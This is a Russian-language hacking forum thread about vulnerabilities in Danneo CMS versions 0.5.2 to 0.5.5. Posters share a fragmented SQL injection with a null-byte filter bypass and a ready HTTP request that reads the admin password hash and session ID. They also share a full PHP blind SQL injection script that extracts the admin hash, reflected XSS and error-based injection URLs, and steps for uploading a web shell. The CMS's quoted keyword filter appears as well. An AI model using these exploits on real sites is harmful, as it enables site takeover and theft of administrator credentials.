[ Обзор уязвимостей Danneo CMS ]

Discussion in 'Веб-уязвимости' started by [Raz0r], 3 Jan 2009.

  1. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    Danneo CMS <= 0.5.2 Remote SQL-injection

    Danneo CMS - одна из самых успешных русских CMS с открытым исходным кодом. По своему опыту могу сказать, что в рунете довольно распространена. Однажды уже находил баги в этой CMS, но с выходом версии 0.5.2 (последняя на данный момент) их устранили.

    Новая обнаруженная уязвимость находится в модуле голосований при добавлении комментариев.

    Уязвимый код (/mod/poll/comment.php@124-130):

    PHP:
    $comtext=($setting['peditor']=="yes") ? commentparse($comtext) : deltags(commentparse($comtext));
    $comname = (preparse($usermain['logged'],THIS_INT)==&& preparse($usermain['userid'],THIS_INT)>0) ? $usermain['uname'] : substr(deltags($comname),0,50);
    $comtitle substr(deltags($comtitle),0,255);

    $in $db->query("INSERT INTO ".$basepref."_polling_comment VALUES
                     (NULL,'"
    .$id."','".$usermain['userid']."','".NEWTIME."',
                     '
    $comname','$comtitle','$comtext','".REMOTE_ADDRS."')");
    Уязвимость возникает после обрезания строки в переменной $comtitle до 255 символов, что дает возможность проведения фрагментированной SQL-инъекции.
    Однако реализация уязвимости затрудняется фильтром (/base/danneo.track.php):

    PHP:
    $baddata = array("UNION",
                     
    "OUTFILE",
                     
    "FROM",
                     
    "SELECT",
                     
    "WHERE",
                     
    "SHUTDOWN",
                     
    "UPDATE",
                     
    "DELETE",
                     
    "CHANGE",
                     
    "MODIFY",
                     
    "RENAME",
                     
    "RELOAD",
                     
    "ALTER",
                     
    "GRANT",
                     
    "DROP",
                     
    "INSERT",
                     
    "CONCAT",
                     
    "cmd",
                     
    "exec",
                     
    "--"
             
    /* ... */
                     
    );
    foreach(
    $_REQUEST as $params => $inputdata){
        foreach(
    $baddata as $badkey => $badvalue){
            if(
    is_string($inputdata) && eregi($badvalue,$inputdata)){ $badcount=1; }
        }
    }
    Фильтр можно успешно обойти, используя нулл-байт, который не будет экранироваться при magic_quotes_gpc=on.
    (/base/danneo.function.php):
    PHP:
    if(!ini_get("register_globals") || (@get_cfg_var('register_globals')==1)){
    //@import_request_variables('GPC');
    @extract($_COOKIE,EXTR_SKIP);
    @
    extract($_POST,EXTR_SKIP);
    @
    extract($_GET,EXTR_SKIP);
    @
    extract($_REQUEST,EXTR_SKIP);
    /* ... */
    if(get_magic_quotes_gpc()) {
    if(
    $_POST$_POST stripslashesall($_POST);
    if(
    $_GET$_GET stripslashesall($_GET);
    if(
    $_REQUEST$_REQUEST stripslashesall($_REQUEST);
    if(
    $_COOKIE$_COOKIE stripslashesall($_COOKIE);
    }
    Из кода выше следует, что при попадании в фильтр нулл-байт останется без экранирования после обработки массива _REQUEST функцией stripslashesall(), однако
    переменные $comname, $comtitle, $comtext будут экранироваться при magic_quotes_gpc=on, так как они извлекаются не из глобальных массивов с отчищенными входящими данными, а из локального пространства.
    Это происходит, так как extract() предшествует stripslashesall().

    Несмотря на экранирование, уязвимость можно реализовать при следующих значениях:
    $comname a-z значение от 5 символов до 10
    $comtitle 254 символа + кавычка
    $comtext /*%00*/, (SELECT adpwd FROM dn052_admin LIMIT 1), 1)-- -

    В итоге, конечный запрос будет таким:
    После substr() появляется \, который экранирует следующую кавычку и делает возможным выполнения SQL-кода в $comtext.
    Для предотвращения возникновения ошибки синтаксиса нулл-байт (заметьте, здесь он уже подвергся экранированию) заключается между символами комментариев /* */.
    В итоге при показе комментариев к голосованию в поле текста появляется значение md5 хэша админа. Также можно получить идентификатор сессии администратора, если он авторизован и время жизни сессии еще не истекло:
    $comtext /*%00*/, (SELECT hash FROM dn052_admin_sess LIMIT 1), 1)-- -
    Префикс таблицы можно узнать, если в настройках CMS включен debug-режим для MySQL. Для этого необходимо вызвать преднамеренную ошибку синтаксиса.
    При magic_quotes_gpc=off в $comtitle кавычку необходимо заменить на \, а 254 символа можно вообще убрать.

    В итоге запрос будет таким (необходимо указывать капчу):

    Code:
    POST /index.php?dn=poll HTTP/1.0
    User-Agent: Opera/9.63 (Windows NT 6.0; U; ru) Presto/2.1.1
    Host: danneo
    Referer: http://danneo/index.php?dn=poll&to=open&id=1
    Content-Type: application/x-www-form-urlencoded
    Connection: close
    
    comname=lololo&comtitle=a++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++b%27&comtext=%2F%2A%2500%2A%2F%2C+%28SELECT+adpwd+FROM+dn052_admin+LIMIT+1%29%2C+1%29--+-&captcha=56334&id=1&ajax=0&re=comment
    Также присутсвует раскрытие путей:
    /index.php?re=%00

    Greetz to Elekt!
     
    #1 [Raz0r], 3 Jan 2009
    Last edited: 3 Jan 2009
    9 people like this.
  2. Soul Linker

    Soul Linker New Member

    Joined:
    5 Sep 2006
    Messages:
    16
    Likes Received:
    2
    Reputations:
    0
    Danneo CMS 0.5.3

    Сайт http://danneo.com/down/open/CMS_Danneo_0_5_3.html
    Нашел /mod/subscribe/index.php __LINE__ 110:
    $db->query("INSERT INTO ".$basepref."_subscribe_users VALUES (NULL,'$subname','$submail','$subformat','$sa','0','".NEWTIME."')");
    и много еще подобного, но /base/danneo.track.php ужасен :( ибо
    PHP:
    $baddata = array("ALTER",
                     
    "BENCHMARK",
                     
    "CHANGE",
                     
    "CMD",
                     
    "CONCAT",
                     
    "DELETE",
                     
    "DROP",
                     
    "EXEC",
                     
    "FROM",
                     
    "GRANT",
                     
    "INSERT",
                     
    "MODIFY",
                     
    "OUTFILE",
                     
    "RENAME",
                     
    "RELOAD",
                     
    "SELECT",
                     
    "SHUTDOWN",
                     
    "SLEEP",
                     
    "UNION",
                     
    "UPDATE",
                     
    "WHERE",
                     
    "--",
                     
    // HTML LINE
                     
    "\([^>]*\"?[^)]*\)",
                     
    "<[^>]*body*\"?[^>]*>",
                     
    "<[^>]*script*\"?[^>]*>",
                     
    "<[^>]*object*\"?[^>]*>",
                     
    "<[^>]*iframe*\"?[^>]*>",
                     
    "<[^>]*img*\"?[^>]*>",
                     
    "<[^>]*frame*\"?[^>]*>",
                     
    "<[^>]*applet*\"?[^>]*>",
                     
    "<[^>]*meta*\"?[^>]*>",
                     
    "<[^>]*style*\"?[^>]*>",
                     
    "<[^>]*form*\"?[^>]*>",
                     
    "<[^>]*div*\"?[^>]*>");
    фигачится по всему REQUEST'у, хотя и не заходит в массивы.
    У кого что есть еще?
     
  3. Soul Linker

    Soul Linker New Member

    Joined:
    5 Sep 2006
    Messages:
    16
    Likes Received:
    2
    Reputations:
    0
    Вроде нашел блинд...
    PHP:
    <?php

    //by SoulLinker

    set_time_limit(0);

    function 
    send_packet($host$port$packet)
    {
        
    $fp = @fsockopen($host$port$errno$errstr5);

        if (!
    $fp)
        {
            
    $fl fopen('packet_dan_error.log''ab');
            
    fputs($fl$packet."\n");
            
    fclose($fl);
            
            return 
    false;
        } 

        
    fwrite($fp$packet);
        echo 
    'send ';
        
    $out '';
        while (
    $res fread($fp128))
        {
            
    $out .= $res;
            echo 
    '.';
        }
        
        
    $len strlen($out);
        echo 
    ' ['.$len."]\n";

        if (
    $len 1000)
        {
            
    $fl fopen('packet_dan.log''ab');
            
    fputs($fl$packet."\n".$out."\n\n");
            
    fclose($fl);
        }
            
        
    fclose($fp);
    }

    function 
    packet($host$path$data)
    {
        
    $buf = array();
        
    $buf[] = "GET $path HTTP/1.0";
        
    $buf[] = "Host: $host";
        
    $buf[] = "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10";
        
    $buf[] = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
        
    $buf[] = "Connection: close";
        
    $buf[] = "Cookie: subformat=".urlencode($data);
        
    $buf[] = '';
        
    $buf[] = '';
        
        
    $packet join("\r\n"$buf);
        
        return 
    $packet;
    }

    $md5 '';
    $hash_symbols = array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');

    $host 'work5.local';
    $prefix 'dn053_';

    for (
    $i 1$i <= 32$i++)
    {
        
    $found false;
        foreach (
    $hash_symbols as $chr)
        {
    //        $mail = 'a'.rand(10000, 99999).'@a'.rand(10000, 99999);
            
    $mail 'a'.rand(1000099999).'@mail.ru';
            
    $path '/index.php?dn=subscribe&to=check&submail='.$mail.'&subname=soullinker';
            
            
    $timestart time();
            
    $statement "(SeLeCT sUBstR(adpwd,$i,1) fRom ".$prefix."admin WherE admid=1)='$chr'";
            
    $data "1', '878', IF(".$statement.", beNchMARK(5000000, md5(now())),'1'), '789') -- ";
            
    $packet packet($host$path$data);
            
    send_packet($host80$packet);
            
    $timeend time();
            
    $timediff $timeend $timestart;
            echo 
    'Time: '.$timediff."\n";
            if (
    $timediff >= 4)
            {
                
    $found true;
                
    $md5 .= $chr; echo 'MD5: ['.$md5.str_repeat('.'32 $i)."]\n";
                break;
            }
        }
        if (!
    $found)
        {
            die(
    ' FAILED (wrong prefix?) ');
        }
    }

    echo 
    "\n__DONE__";  
     
  4. _iks_

    _iks_ Member

    Joined:
    21 Feb 2009
    Messages:
    60
    Likes Received:
    59
    Reputations:
    61
    Пассивная XSS:

    PHP:
    if(isset($_REQUEST['url'])){
     
    $url = (!preg_match('#^http[s]?:\/\/#i',$_REQUEST['url'])) ? "http://".$_REQUEST['url'] : $_REQUEST['url'];
     
    $url = (!preg_match('#^http[s]?\\:\\/\\/[a-z0-9\-]+\.([a-z0-9\-]+\.)?[a-z]+#i',$_REQUEST['url'])) ? 'index.php' $_REQUEST['url'];
    } else {
     
    $url 'index.php';
    }
    Файл redirect.php

    Пример:
    http://site.ru/redirect.php?url=http://blabla.com"><script>alert(1);</script>
     
    1 person likes this.
  5. BLurpi^_^

    BLurpi^_^ Banned

    Joined:
    9 Feb 2011
    Messages:
    218
    Likes Received:
    26
    Reputations:
    9
    Заливка шелла в Danneo CMS 0.5.2:
    В файл менеджере заливаете ваш шелл в формате *.phtml
    например wso2.phtml
    И ваш шелл будет по адресу http://danneocmssite/up/директория_в_которую_заливали_шелл
    Например заливали в:
    comment/smile/
    шелл будет:
    http://siteurl/up/comment/smilie/wso2.phtml
     
  6. SPUTNIK

    SPUTNIK Active Member

    Joined:
    15 Feb 2006
    Messages:
    824
    Likes Received:
    275
    Reputations:
    3
    проверил в новой версии 0.5.4
    дыра осталась
     
  7. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    Danneo CMS 0.5.5

    Danneo CMS 0.5.5

    SQL Injection

    Уязвимый сценарий
    : http://127.0.0.1/cms_danneo/www/apanel/index.php
    Уязвимый параметр: altime
    Вектор: error-based
    Требования: mq = off, права администратора
    Уязвимый код:
    PHP:
    if (isset($altime) && !empty($altime)) {            
                    
    $altime $altime;
                } else { 
                    
    $altime $ADMIN_LAST;
                }  
    ...
     
    $unewspid $db->fetchrow($db->query("SELECT COUNT(*) AS total FROM ".$basepref."_news_user WHERE (public >= '".$altime."')"));
    Exploit:
    [127.0.0.1/cms_danneo/www/apanel/index.php?dn=index&altime=1397482241'or(updatexml(1,concat(0x3a,version()),4))or'-- &ops=your_data]


    passive XSS (reflected)

    Уязвим этот же праметр altime.

    Exploit:
    [127.0.0.1/cms_danneo/www/apanel/index.php?dn=index&altime=1397482241"><script>alert(1)</script>&ops=your_data]
     
    1 person likes this.